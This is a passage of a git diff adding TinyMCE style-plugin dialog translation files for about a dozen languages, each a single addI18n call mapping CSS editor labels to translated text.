position","background_hpos":"Horisontal position","background_attachment":"Vedh\u00e6ftede fil","background_repeat":"Gentag","background_image":"Baggrundsbillede","background_color":"Baggrundsfarve","text_none":"ingen","text_blink":"blink","text_case":"Vesaltilstand","text_striketrough":"gennemstreget","text_underline":"understreget","text_overline":"overstreget","text_decoration":"Dekoration","text_color":"Farve",text:"Tekst",background:"Baggrund",block:"Blok",box:"Boks",border:"Kant",list:"Liste"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/de_dlg.js b/js/tiny_mce2/plugins/style/langs/de_dlg.js new file mode 100755 index 0000000..ad04664 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.style_dlg',{"text_lineheight":"Zeilenh\u00f6he","text_variant":"Variante","text_style":"Stil","text_weight":"Dicke","text_size":"Gr\u00f6\u00dfe","text_font":"Schriftart","text_props":"Text","positioning_tab":"Positionierung","list_tab":"Liste","border_tab":"Rahmen","box_tab":"Box","block_tab":"Block","background_tab":"Hintergrund","text_tab":"Text",apply:"\u00dcbernehmen",title:"CSS-Styles bearbeiten",clip:"Ausschnitt",placement:"Platzierung",overflow:"Verhalten bei \u00dcbergr\u00f6\u00dfe",zindex:"Z-Wert",visibility:"Sichtbar","positioning_type":"Art der Positionierung",position:"Positionierung","bullet_image":"Listenpunkt-Grafik","list_type":"Listenpunkt-Art",color:"Textfarbe",height:"H\u00f6he",width:"Breite",style:"Format",margin:"\u00c4u\u00dferer Abstand",left:"Links",bottom:"Unten",right:"Rechts",top:"Oben",same:"Alle gleich",padding:"Innerer Abstand","box_clear":"Umflie\u00dfung verhindern","box_float":"Umflie\u00dfung","box_height":"H\u00f6he","box_width":"Breite","block_display":"Umbruchverhalten","block_whitespace":"Automatischer Umbruch","block_text_indent":"Einr\u00fcckung","block_text_align":"Ausrichtung","block_vertical_alignment":"Vertikale Ausrichtung","block_letterspacing":"Buchstabenabstand","block_wordspacing":"Wortabstand","background_vpos":"Position Y","background_hpos":"Position X","background_attachment":"Wasserzeicheneffekt","background_repeat":"Wiederholung","background_image":"Hintergrundbild","background_color":"Hintergrundfarbe","text_none":"keine","text_blink":"blinkend","text_case":"Schreibung","text_striketrough":"durchgestrichen","text_underline":"unterstrichen","text_overline":"\u00fcberstrichen","text_decoration":"Gestaltung","text_color":"Farbe",text:"Text",background:"Hintergrund",block:"Block",box:"Box",border:"Rahmen",list:"Liste"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/el_dlg.js b/js/tiny_mce2/plugins/style/langs/el_dlg.js new file mode 100755 index 0000000..9da2d86 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.style_dlg',{"text_lineheight":"\u038e\u03c8\u03bf\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2","text_variant":"\u03a0\u03b1\u03c1\u03b1\u03bb\u03bb\u03b1\u03b3\u03ae","text_style":"\u03a3\u03c4\u03c5\u03bb","text_weight":"\u0392\u03ac\u03c1\u03bf\u03c2","text_size":"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd","text_font":"\u0393\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03bf\u03c3\u03b5\u03b9\u03c1\u03ac","text_props":"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf","positioning_tab":"\u03a4\u03bf\u03c0\u03bf\u03b8\u03ad\u03c4\u03b7\u03c3\u03b7","list_tab":"\u039b\u03af\u03c3\u03c4\u03b1","border_tab":"\u03a0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf","box_tab":"\u039a\u03bf\u03c5\u03c4\u03af","block_tab":"\u039c\u03c0\u03bb\u03bf\u03ba","background_tab":"\u03a6\u03cc\u03bd\u03c4\u03bf","text_tab":"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf",apply:"\u0395\u03c6\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae",title:"\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03a3\u03c4\u03c5\u03bb CSS",clip:"Clip",placement:"\u03a4\u03bf\u03c0\u03bf\u03b8\u03ad\u03c4\u03b7\u03c3\u03b7",overflow:"\u03a5\u03c0\u03b5\u03c1\u03c7\u03b5\u03af\u03bb\u03b9\u03c3\u03b7",zindex:"Z-index",visibility:"\u039f\u03c1\u03b1\u03c4\u03cc\u03c4\u03b7\u03c4\u03b1","positioning_type":"\u03a4\u03cd\u03c0\u03bf\u03c2",position:"\u0398\u03ad\u03c3\u03b7","bullet_image":"\u0395\u03b9\u03ba\u03cc\u03bd\u03b1 \u03c4\u03b5\u03bb\u03b5\u03af\u03b1\u03c2","list_type":"\u03a4\u03cd\u03c0\u03bf\u03c2",color:"\u03a7\u03c1\u03ce\u03bc\u03b1",height:"\u038e\u03c8\u03bf\u03c2",width:"\u03a0\u03bb\u03ac\u03c4\u03bf\u03c2",style:"\u03a3\u03c4\u03c5\u03bb",margin:"\u03a0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf",left:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",bottom:"\u039a\u03ac\u03c4\u03c9",right:"\u0394\u03b5\u03be\u03b9\u03ac",top:"\u03a0\u03ac\u03bd\u03c9",same:"\u038a\u03b4\u03b9\u03bf \u03b3\u03b9\u03b1 \u03cc\u03bb\u03b1",padding:"\u0393\u03ad\u03bc\u03b9\u03c3\u03bc\u03b1","box_clear":"Clear","box_float":"Float","box_height":"\u038e\u03c8\u03bf\u03c2","box_width":"\u03a0\u03bb\u03ac\u03c4\u03bf\u03c2","block_display":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7","block_whitespace":"\u039a\u03b5\u03bd\u03cc\u03c2 \u03c7\u03ce\u03c1\u03bf\u03c2","block_text_indent":"\u0395\u03c3\u03bf\u03c7\u03ae \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5","block_text_align":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5","block_vertical_alignment":"\u039a\u03b1\u03c4\u03b1\u03ba\u03cc\u03c1\u03c5\u03c6\u03b7 \u03c3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7","block_letterspacing":"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd","block_wordspacing":"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bb\u03ad\u03be\u03b5\u03c9\u03bd","background_vpos":"\u039a\u03b1\u03c4\u03b1\u03ba\u03cc\u03c1\u03c5\u03c6\u03b7 \u03b8\u03ad\u03c3\u03b7","background_hpos":"\u039f\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1 \u03b8\u03ad\u03c3\u03b7","background_attachment":"\u03a0\u03c1\u03bf\u03c3\u03ac\u03c1\u03c4\u03b7\u03bc\u03b1","background_repeat":"\u0395\u03c0\u03b1\u03bd\u03ac\u03bb\u03b7\u03c8\u03b7","background_image":"\u0395\u03b9\u03ba\u03cc\u03bd\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5","background_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5","text_none":"\u039a\u03b1\u03bc\u03af\u03b1","text_blink":"\u039d\u03b1 \u03b1\u03bd\u03b1\u03b2\u03bf\u03c3\u03b2\u03ae\u03bd\u03b5\u03b9","text_case":"\u039a\u03b5\u03c6./\u039c\u03b9\u03ba\u03c1\u03ac","text_striketrough":"\u0394\u03b9\u03b1\u03b3\u03c1\u03ac\u03bc\u03bc\u03b9\u03c3\u03b7","text_underline":"\u03a5\u03c0\u03bf\u03b3\u03c1\u03ac\u03bc\u03bc\u03b9\u03c3\u03b7","text_overline":"\u03a5\u03c0\u03b5\u03c1\u03b3\u03c1\u03ac\u03bc\u03bc\u03b9\u03c3\u03b7","text_decoration":"\u0394\u03b9\u03b1\u03ba\u03cc\u03c3\u03bc\u03b7\u03c3\u03b7","text_color":"\u03a7\u03c1\u03ce\u03bc\u03b1",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/en_dlg.js b/js/tiny_mce2/plugins/style/langs/en_dlg.js new file mode 100755 index 0000000..9a1d4a2 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.style_dlg',{"text_lineheight":"Line Height","text_variant":"Variant","text_style":"Style","text_weight":"Weight","text_size":"Size","text_font":"Font","text_props":"Text","positioning_tab":"Positioning","list_tab":"List","border_tab":"Border","box_tab":"Box","block_tab":"Block","background_tab":"Background","text_tab":"Text",apply:"Apply",title:"Edit CSS Style",clip:"Clip",placement:"Placement",overflow:"Overflow",zindex:"Z-index",visibility:"Visibility","positioning_type":"Type",position:"Position","bullet_image":"Bullet Image","list_type":"Type",color:"Color",height:"Height",width:"Width",style:"Style",margin:"Margin",left:"Left",bottom:"Bottom",right:"Right",top:"Top",same:"Same for All",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"Height","box_width":"Width","block_display":"Display","block_whitespace":"Whitespace","block_text_indent":"Text Indent","block_text_align":"Text Align","block_vertical_alignment":"Vertical Alignment","block_letterspacing":"Letter Spacing","block_wordspacing":"Word Spacing","background_vpos":"Vertical Position","background_hpos":"Horizontal Position","background_attachment":"Attachment","background_repeat":"Repeat","background_image":"Background Image","background_color":"Background Color","text_none":"None","text_blink":"Blink","text_case":"Case","text_striketrough":"Strikethrough","text_underline":"Underline","text_overline":"Overline","text_decoration":"Decoration","text_color":"Color",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/es_dlg.js b/js/tiny_mce2/plugins/style/langs/es_dlg.js new file mode 100755 index 0000000..9bbaa5f --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.style_dlg',{"text_lineheight":"Ancho de la fila","text_variant":"Variante","text_style":"Estilo","text_weight":"Peso","text_size":"Tama\u00f1o","text_font":"Fuente","text_props":"Texto","positioning_tab":"Posici\u00f3n","list_tab":"Lista","border_tab":"Borde","box_tab":"Caja","block_tab":"Bloque","background_tab":"Fondo","text_tab":"Texto",apply:"Aplicar",title:"Editar Estilo CSS",clip:"Clip",placement:"Placement",overflow:"Overflow",zindex:"Z-index",visibility:"Visibilidad","positioning_type":"Tipo",position:"Posici\u00f3n","bullet_image":"Imagen de la vi\u00f1eta","list_type":"Tipo",color:"Color",height:"Alto",width:"Ancho",style:"Estilo",margin:"Margen",left:"Izquierda",bottom:"Debajo",right:"Derecha",top:"Arriba",same:"Lo mismo en todos",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"Alto","box_width":"Ancho","block_display":"Display","block_whitespace":"Espacio en blanco","block_text_indent":"Sangr\u00eda","block_text_align":"Alineaci\u00f3n del texto","block_vertical_alignment":"Alineaci\u00f3n vertical","block_letterspacing":"Espacio entre letra","block_wordspacing":"Espacio entre palabra","background_vpos":"Posici\u00f3n vertical","background_hpos":"Posici\u00f3n horizontal","background_attachment":"Adjunto","background_repeat":"Repetici\u00f3n","background_image":"Imagen de fondo","background_color":"Color de fondo","text_none":"Ninguno","text_blink":"Parpadeo","text_case":"Min\u00fas./May\u00fas.","text_striketrough":"Tachado","text_underline":"Subrayado","text_overline":"Subrayado superior","text_decoration":"Decorativos","text_color":"Color",text:"Texto",background:"Fondo",block:"Bloque",box:"Caja",border:"Borde",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/et_dlg.js b/js/tiny_mce2/plugins/style/langs/et_dlg.js new file mode 100755 index 0000000..89de41d --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.style_dlg',{"text_lineheight":"Joone k\u00f5rgus","text_variant":"Variant","text_style":"Stiil","text_weight":"Raskus","text_size":"Suurus","text_font":"Font","text_props":"Tekst","positioning_tab":"Positsioneerimine","list_tab":"Nimekiri","border_tab":"Raam","box_tab":"Kast","block_tab":"Plokk","background_tab":"Taust","text_tab":"Tekst",apply:"Rakenda",title:"Muuda CSS stiili",clip:"Klipp",placement:"Asetus",overflow:"\u00dclevool",zindex:"Z-viit",visibility:"N\u00e4htavus","positioning_type":"T\u00fc\u00fcp",position:"Positsioon","bullet_image":"Punkt pilt","list_type":"T\u00fc\u00fcp",color:"V\u00e4rv",height:"K\u00f5rgus",width:"Laius",style:"Stiil",margin:"Serv",left:"Vasakul",bottom:"All",right:"Paremal",top:"\u00dcleval",same:"Sama k\u00f5igile",padding:"T\u00e4idis","box_clear":"Puhas","box_float":"H\u00f5ljuv","box_height":"K\u00f5rgus","box_width":"Laius","block_display":"Kuva","block_whitespace":"T\u00fchimik","block_text_indent":"Teksti taandus","block_text_align":"Teksti joondus","block_vertical_alignment":"Vertikaalne joondus","block_letterspacing":"T\u00e4he avardamine","block_wordspacing":"S\u00f5nade avardamine","background_vpos":"Vertikaalne asend","background_hpos":"Horisontaalne asend","background_attachment":"Manus","background_repeat":"Kordus","background_image":"Tausta pilt","background_color":"Tausta v\u00e4rv","text_none":"mitte \u00fckski","text_blink":"vilgutus","text_case":"Kast","text_striketrough":"l\u00e4bikriipsutus","text_underline":"alajoon","text_overline":"\u00fclejoon","text_decoration":"Dekoratioon","text_color":"V\u00e4rv",text:"Tekst",background:"Taust",block:"Plokk",box:"Kast",border:"Joon",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/fa_dlg.js b/js/tiny_mce2/plugins/style/langs/fa_dlg.js new file mode 100755 index 0000000..e156a14 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.style_dlg',{"text_lineheight":"\u0628\u0644\u0646\u062f\u06cc \u062e\u0637","text_variant":"\u0646\u0648\u0639 \u062a\u063a\u06cc\u06cc\u0631","text_style":"\u0627\u0633\u062a\u06cc\u0644","text_weight":"\u062d\u0627\u0644\u062a","text_size":"\u0627\u0646\u062f\u0627\u0632\u0647","text_font":"\u0642\u0644\u0645","text_props":"\u0645\u062a\u0646","positioning_tab":"\u0645\u0648\u0642\u0639\u06cc\u062a","list_tab":"\u0644\u06cc\u0633\u062a","border_tab":"\u062d\u0627\u0634\u06cc\u0647","box_tab":"\u062c\u0639\u0628\u0647","block_tab":"\u0628\u0644\u0648\u06a9","background_tab":"\u0632\u0645\u06cc\u0646\u0647","text_tab":"\u0645\u062a\u0646",apply:"\u0628\u06a9\u0627\u0631\u06af\u06cc\u0631\u06cc",title:"\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0627\u0633\u062a\u06cc\u0644 CSS",clip:"\u0628\u0631\u0634 (Clip)",placement:"\u0645\u0648\u0642\u0639\u06cc\u062a \u0645\u06a9\u0627\u0646\u06cc",overflow:"\u0633\u0631 \u0631\u06cc\u0632",zindex:"\u0645\u062d\u0648\u0631 Z",visibility:"\u0642\u0627\u0628\u0644\u06cc\u062a \u0631\u0648\u06cc\u062a","positioning_type":"\u0646\u0648\u0639",position:"\u0645\u0648\u0642\u0639\u06cc\u062a","bullet_image":"\u062a\u0635\u0648\u06cc\u0631 \u06af\u0644\u0648\u0644\u0647","list_type":"\u0646\u0648\u0639",color:"\u0631\u0646\u06af",height:"\u0627\u0631\u062a\u0641\u0627\u0639",width:"\u067e\u0647\u0646\u0627",style:"\u0627\u0633\u062a\u06cc\u0644",margin:"\u062d\u0627\u0634\u06cc\u0647",left:"\u0686\u067e",bottom:"\u067e\u0627\u06cc\u06cc\u0646",right:"\u0631\u0627\u0633\u062a",top:"\u0628\u0627\u0644\u0627",same:"\u0647\u0645\u0633\u0627\u0646 \u0628\u0631\u0627\u06cc \u0647\u0645\u0647",padding:"\u0644\u0627\u06cc\u0647 \u06af\u0630\u0627\u0631\u06cc","box_clear":"\u067e\u0627\u06a9 \u0633\u0627\u0632\u06cc","box_float":"\u0634\u0646\u0627\u0648\u0631","box_height":"\u0627\u0631\u062a\u0641\u0627\u0639","box_width":"\u067e\u0647\u0646\u0627","block_display":"\u0646\u0645\u0627\u06cc\u0634","block_whitespace":"\u0641\u0627\u0635\u0644\u0647 \u0633\u0641\u06cc\u062f","block_text_indent":"\u062a\u0648\u0631\u0641\u062a\u06af\u06cc \u0645\u062a\u0646","block_text_align":"\u062a\u0631\u0627\u0632 \u0645\u062a\u0646","block_vertical_alignment":"\u062a\u0631\u0627\u0632 \u0639\u0645\u0648\u062f\u06cc","block_letterspacing":"\u0641\u0627\u0635\u0644\u0647 \u062d\u0631\u0648\u0641","block_wordspacing":"\u0641\u0627\u0635\u0644\u0647 \u06a9\u0644\u0645\u0627\u062a","background_vpos":"\u0645\u0648\u0642\u0639\u06cc\u062a \u0639\u0645\u0648\u062f\u06cc","background_hpos":"\u0645\u0648\u0642\u0639\u06cc\u062a \u0627\u0641\u0642\u06cc","background_attachment":"\u0632\u0645\u06cc\u0645\u0647","background_repeat":"\u062a\u06a9\u0631\u0627\u0631","background_image":"\u062a\u0635\u0648\u06cc\u0631 \u0632\u0645\u06cc\u0646\u0647","background_color":"\u0631\u0646\u06af \u0632\u0645\u06cc\u0646\u0647","text_none":"\u0647\u06cc\u0686 \u06a9\u062f\u0627\u0645","text_blink":"\u0686\u0634\u0645\u06a9 \u0632\u0646","text_case":"\u062d\u0627\u0644\u062a","text_striketrough":"\u062e\u0637 \u0648\u0633\u0637","text_underline":"\u0632\u06cc\u0631 \u062e\u0637","text_overline":"\u0628\u0627\u0644\u0627 \u062e\u0637","text_decoration":"\u0622\u0631\u0627\u06cc\u0634","text_color":"\u0631\u0646\u06af",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/fi_dlg.js b/js/tiny_mce2/plugins/style/langs/fi_dlg.js new file mode 100755 index 0000000..4f174cc --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.style_dlg',{"text_lineheight":"Rivin korkeus","text_variant":"Variantti","text_style":"Tyyli","text_weight":"Paino","text_size":"Koko","text_font":"Kirjasin","text_props":"Teksti","positioning_tab":"Sijainti","list_tab":"Lista","border_tab":"Kehys","box_tab":"Laatikko","block_tab":"Palkki","background_tab":"Tausta","text_tab":"Teksti",apply:"K\u00e4yt\u00e4",title:"Muokkaa CSS-tyyli\u00e4",clip:"Leike",placement:"Sijoittelu",overflow:"Ylivuoto",zindex:"Z-indeksi",visibility:"N\u00e4kyvyys","positioning_type":"Tyyppi",position:"Sijainti","bullet_image":"Listauskuva","list_type":"Tyyppi",color:"V\u00e4ri",height:"Korkeus",width:"Leveys",style:"Tyyli",margin:"Marginaali",left:"Vasemmalla",bottom:"Alhaalla",right:"Oikealla",top:"Ylh\u00e4\u00e4ll\u00e4",same:"Sama kaikille",padding:"Tyhj\u00e4 tila","box_clear":"Nollaus","box_float":"Kellunta","box_height":"Korkeus","box_width":"Leveys","block_display":"N\u00e4ytt\u00f6","block_whitespace":"Tyhj\u00e4 tila","block_text_indent":"Tekstin sisennys","block_text_align":"Tekstin asettelu","block_vertical_alignment":"Pystyasettelu","block_letterspacing":"Kirjainten v\u00e4listys","block_wordspacing":"Sanojen v\u00e4listys","background_vpos":"Pystyasettelu","background_hpos":"Vaaka-asettelu","background_attachment":"Liite","background_repeat":"Toistuvuus","background_image":"Taustakuva","background_color":"Taustav\u00e4ri","text_none":"ei mit\u00e4\u00e4n","text_blink":"V\u00e4l\u00e4hdys","text_case":"Isot/pienet kirjaimet","text_striketrough":"Yliviivattu","text_underline":"Alleviivattu (Ctrl+U)","text_overline":"Yliviivattu","text_decoration":"Koristelu","text_color":"V\u00e4ri",text:"Teksti",background:"Tausta",block:"Lohko",box:"Laatikko",border:"Reunus",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/fr_dlg.js b/js/tiny_mce2/plugins/style/langs/fr_dlg.js new file mode 100755 index 0000000..3f7bdb9 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.style_dlg',{"text_lineheight":"Hauteur de ligne","text_variant":"Variante","text_style":"Style","text_weight":"Gras","text_size":"Taille","text_font":"Police","text_props":"Texte","positioning_tab":"Positionnement","list_tab":"Liste","border_tab":"Bordure","box_tab":"Bo\u00eete","block_tab":"Bloc","background_tab":"Fond","text_tab":"Texte",apply:"Appliquer",title:"\u00c9diter la feuille de style",clip:"Clip",placement:"Placement",overflow:"D\u00e9bordement",zindex:"Z-index",visibility:"Visibilit\u00e9","positioning_type":"Type",position:"Position","bullet_image":"Image de puce","list_type":"Type",color:"Couleur",height:"Hauteur",width:"Largeur",style:"Style",margin:"Marge",left:"Gauche",bottom:"Bas",right:"Droit",top:"Haut",same:"Identique pour tous",padding:"Espacement","box_clear":"Vider","box_float":"Flottant","box_height":"Hauteur","box_width":"Largeur","block_display":"Affichage","block_whitespace":"Fin de ligne","block_text_indent":"Indentation du texte","block_text_align":"Alignement du texte","block_vertical_alignment":"Alignement vertical","block_letterspacing":"Espacement des lettres","block_wordspacing":"Espacement des mots ","background_vpos":"Position verticale","background_hpos":"Position horizontale","background_attachment":"Attachement","background_repeat":"R\u00e9p\u00e9ter","background_image":"Image de fond","background_color":"Couleur de fond","text_none":"aucun","text_blink":"clignotant","text_case":"Casse","text_striketrough":"barr\u00e9","text_underline":"soulign\u00e9","text_overline":"ligne au-dessus","text_decoration":"D\u00e9coration","text_color":"Couleur",text:"Texte",background:"Fond",block:"Bloc",box:"Bo\u00eete",border:"Bordure",list:"Liste"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/gl_dlg.js b/js/tiny_mce2/plugins/style/langs/gl_dlg.js new file mode 100755 index 0000000..e5d85d2 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.style_dlg',{"text_lineheight":"Ancho da fila","text_variant":"Variante","text_style":"Estilo","text_weight":"Peso","text_size":"Tama\u00f1o","text_font":"Fonte","text_props":"Texto","positioning_tab":"Posici\u00f3n","list_tab":"Lista","border_tab":"Borde","box_tab":"Caixa","block_tab":"Bloque","background_tab":"Fondo","text_tab":"Texto",apply:"Aplicar",title:"Editar Estilo CSS",clip:"Clip",placement:"Colocaci\u00f3n",overflow:"Desbodramento",zindex:"\u00cdndize Z",visibility:"Visibilidade","positioning_type":"Tipo",position:"Posici\u00f3n","bullet_image":"Imaxe da vi\u00f1eta","list_type":"Tipo",color:"Cor",height:"Alto",width:"Ancho",style:"Estilo",margin:"Marxe",left:"Esquerda",bottom:"Abaixo",right:"Dereita",top:"Arriba",same:"O mesmo en todos",padding:"Recheo","box_clear":"Limpar","box_float":"Float","box_height":"Alto","box_width":"Ancho","block_display":"Display","block_whitespace":"Espacio en branco","block_text_indent":"Sangr\u00eda","block_text_align":"Ali\u00f1aci\u00f3n do texto","block_vertical_alignment":"Ali\u00f1aci\u00f3n vertical","block_letterspacing":"Espacio entre letras","block_wordspacing":"Espacio entre verbas","background_vpos":"Posici\u00f3n vertical","background_hpos":"Posici\u00f3n horizontal","background_attachment":"Adxunto","background_repeat":"Repetir","background_image":"Imaxe de fondo","background_color":"Cor de fondo","text_none":"Neng\u00fan","text_blink":"Parpadeo","text_case":"Min\u00fas./May\u00fas.","text_striketrough":"Tachado","text_underline":"Suli\u00f1ado","text_overline":"Li\u00f1a superior","text_decoration":"Decorativos","text_color":"Cor",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/he_dlg.js b/js/tiny_mce2/plugins/style/langs/he_dlg.js new file mode 100755 index 0000000..22680ba --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.style_dlg',{"text_lineheight":"\u05d2\u05d5\u05d1\u05d4 \u05e9\u05d5\u05e8\u05d4","text_variant":"\u05de\u05e9\u05ea\u05e0\u05d4","text_style":"\u05e1\u05d2\u05e0\u05d5\u05df","text_weight":"\u05e2\u05d5\u05d1\u05d9","text_size":"\u05d2\u05d5\u05d3\u05dc","text_font":"\u05e4\u05d5\u05e0\u05d8","text_props":"\u05d8\u05e7\u05e1\u05d8","positioning_tab":"\u05de\u05d9\u05e7\u05d5\u05dd","list_tab":"\u05e8\u05e9\u05d9\u05de\u05d4","border_tab":"\u05d2\u05d1\u05d5\u05dc","box_tab":"\u05e7\u05d5\u05e4\u05e1\u05d0","block_tab":"\u05d7\u05e1\u05d5\u05dd","background_tab":"\u05e8\u05e7\u05e2","text_tab":"\u05d8\u05e7\u05e1\u05d8",apply:"\u05d4\u05d7\u05dc",title:"\u05e2\u05d3\u05db\u05d5\u05df \u05d4\u05d2\u05d3\u05e8\u05d5\u05ea CSS",clip:"\u05e7\u05dc\u05d9\u05e4",placement:"\u05de\u05d9\u05e7\u05d5\u05dd",overflow:"\u05d2\u05dc\u05d9\u05e9\u05d4",zindex:"Z-index",visibility:"\u05e8\u05d0\u05d5\u05ea","positioning_type":"\u05e1\u05d5\u05d2",position:"\u05de\u05d9\u05e7\u05d5\u05dd","bullet_image":"\u05ea\u05de\u05d5\u05e0\u05ea \u05ea\u05d1\u05dc\u05d9\u05d8","list_type":"\u05e1\u05d5\u05d2",color:"\u05e6\u05d1\u05e2",height:"\u05d2\u05d5\u05d1\u05d4",width:"\u05e8\u05d5\u05d7\u05d1",style:"\u05e1\u05d2\u05e0\u05d5\u05df",margin:"\u05e9\u05d5\u05dc\u05d9\u05d9\u05dd",left:"\u05e9\u05de\u05d0\u05dc",bottom:"\u05ea\u05d7\u05ea\u05d9\u05ea",right:"\u05d9\u05de\u05d9\u05df",top:"\u05e2\u05dc\u05d9\u05d5\u05df",same:"\u05d0\u05d5\u05ea\u05d5 \u05d3\u05d1\u05e8 \u05e2\u05d1\u05d5\u05e8 \u05db\u05d5\u05dc\u05dd",padding:"\u05e8\u05d9\u05e4\u05d5\u05d3","box_clear":"\u05e0\u05e7\u05d4","box_float":"\u05d4\u05e6\u05e4\u05d4","box_height":"\u05d2\u05d5\u05d1\u05d4","box_width":"\u05e8\u05d5\u05d7\u05d1","block_display":"\u05d4\u05e6\u05d2","block_whitespace":"\u05e8\u05d5\u05d5\u05d7","block_text_indent":"\u05d4\u05d6\u05d7\u05d4","block_text_align":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d8\u05e7\u05e1\u05d8","block_vertical_alignment":"\u05d9\u05d9\u05e9\u05d5\u05e8 \u05d0\u05e0\u05db\u05d9","block_letterspacing":"\u05de\u05e8\u05d7\u05e7 \u05d1\u05d9\u05df \u05d0\u05d5\u05ea\u05d9\u05d5\u05ea","block_wordspacing":"\u05de\u05e8\u05d7\u05e7 \u05d1\u05d9\u05df \u05de\u05d9\u05dc\u05d9\u05dd","background_vpos":"\u05de\u05d9\u05e7\u05d5\u05dd \u05e8\u05d5\u05d7\u05d1\u05d9","background_hpos":"\u05de\u05d9\u05e7\u05d5\u05dd \u05d0\u05d5\u05e4\u05e7\u05d9","background_attachment":"\u05e7\u05d1\u05e6\u05d9\u05dd \u05de\u05e6\u05d5\u05e8\u05e4\u05d9\u05dd","background_repeat":"\u05d7\u05d6\u05d5\u05e8","background_image":"\u05ea\u05de\u05d5\u05e0\u05ea \u05e8\u05e7\u05e2","background_color":"\u05e6\u05d1\u05e2 \u05e8\u05e7\u05e2","text_none":"\u05dc\u05dc\u05d0","text_blink":"\u05d4\u05d1\u05d4\u05d5\u05d1","text_case":"Case","text_striketrough":"\u05e7\u05d5 \u05d7\u05d5\u05e6\u05d4","text_underline":"\u05e9\u05d5\u05e8\u05d4 \u05de\u05ea\u05d7\u05ea","text_overline":"\u05e9\u05d5\u05e8\u05d4 \u05de\u05e2\u05dc","text_decoration":"\u05e2\u05d9\u05e6\u05d5\u05d1","text_color":"\u05e6\u05d1\u05e2",text:"\u05d8\u05e7\u05e1\u05d8",background:"\u05e8\u05e7\u05e2",block:"\u05d1\u05dc\u05d5\u05e7",box:"\u05ea\u05d9\u05d1\u05d4",border:"\u05d2\u05d1\u05d5\u05dc",list:"\u05e8\u05e9\u05d9\u05de\u05d4"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/hu_dlg.js b/js/tiny_mce2/plugins/style/langs/hu_dlg.js new file mode 100755 index 0000000..b60f3f7 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/hu_dlg.js @@ -0,0 +1 @@ 